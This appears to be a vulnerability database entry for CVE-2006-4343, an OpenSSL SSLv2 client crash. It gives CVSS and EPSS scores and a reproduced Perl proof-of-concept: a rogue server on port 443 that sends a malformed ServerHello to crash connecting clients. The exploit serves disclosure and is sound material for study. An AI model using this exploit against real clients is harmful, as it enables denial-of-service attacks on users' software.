CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The get_server_hello function in the SSLv2 client code in OpenSSL 0.9.7 before 0.9.7l, 0.9.8 before 0.9.8d, and earlier versions allows remote servers to cause a denial of service (client crash) via unknown vectors that trigger a null pointer dereference.
NULL Pointer Dereference The product dereferences a pointer that it expects to be valid but is NULL.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.3
AV:N/AC:M/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
15.27%
–
–
2022-03-13
–
–
15.27%
–
–
2022-04-03
–
–
15.27%
–
–
2023-03-12
–
–
–
0.92%
–
2023-04-16
–
–
–
0.92%
–
2023-06-25
–
–
–
1.08%
–
2023-08-06
–
–
–
1.78%
–
2023-09-03
–
–
–
1.78%
–
2023-11-26
–
–
–
1.57%
–
2024-02-11
–
–
–
1.57%
–
2024-02-25
–
–
–
1.11%
–
2024-04-14
–
–
–
1.57%
–
2024-06-02
–
–
–
1.57%
–
2024-08-25
–
–
–
0.94%
–
2024-11-10
–
–
–
0.94%
–
2024-12-22
–
–
–
0.94%
–
2025-01-19
–
–
–
0.89%
–
2025-01-19
–
–
–
0.89%
–
2025-03-18
–
–
–
–
25.56%
2025-03-18
–
–
–
–
25.56,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/20246/info
OpenSSL is prone to a denial-of-service vulnerability.
A malicious server could cause a vulnerable client application to crash, effectively denying service.
#!/usr/bin/perl
# Copyright(c) Beyond Security
# Written by Noam Rathaus - based on beSTORM's SSL Server module
# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response
use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp', Listen => 1, Reuse => 1, );
die "Could not create socket: $!\n" unless $sock;
my $TIMEOUT = 0.5;
my $line;
my $new_sock;
srand(time());
while ( $new_sock = $sock->accept() )
{
printf ("new connection\n");
my $rin;
my $line;
my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);
my $ciphers = "";
my $ciphers_length = pack('n', length($ciphers));
my $certificate = "";
my $certificate_length = pack('n', length($certificate));
my $packet_sslv2 =
"\x04".
"\x01". # Hit (default 0x01)
"\x00". # No certificate
"\x00\x02".
$certificate_length.
$ciphers_length.
"\x00\x10".
# Certificate
$certificate.
# Done
# Ciphers
$ciphers.
# Done
"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";
my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
$packet_sslv2 = $ssl_length . $packet_sslv2;
print $new_sock $packet_sslv2;
close($new_sock);
}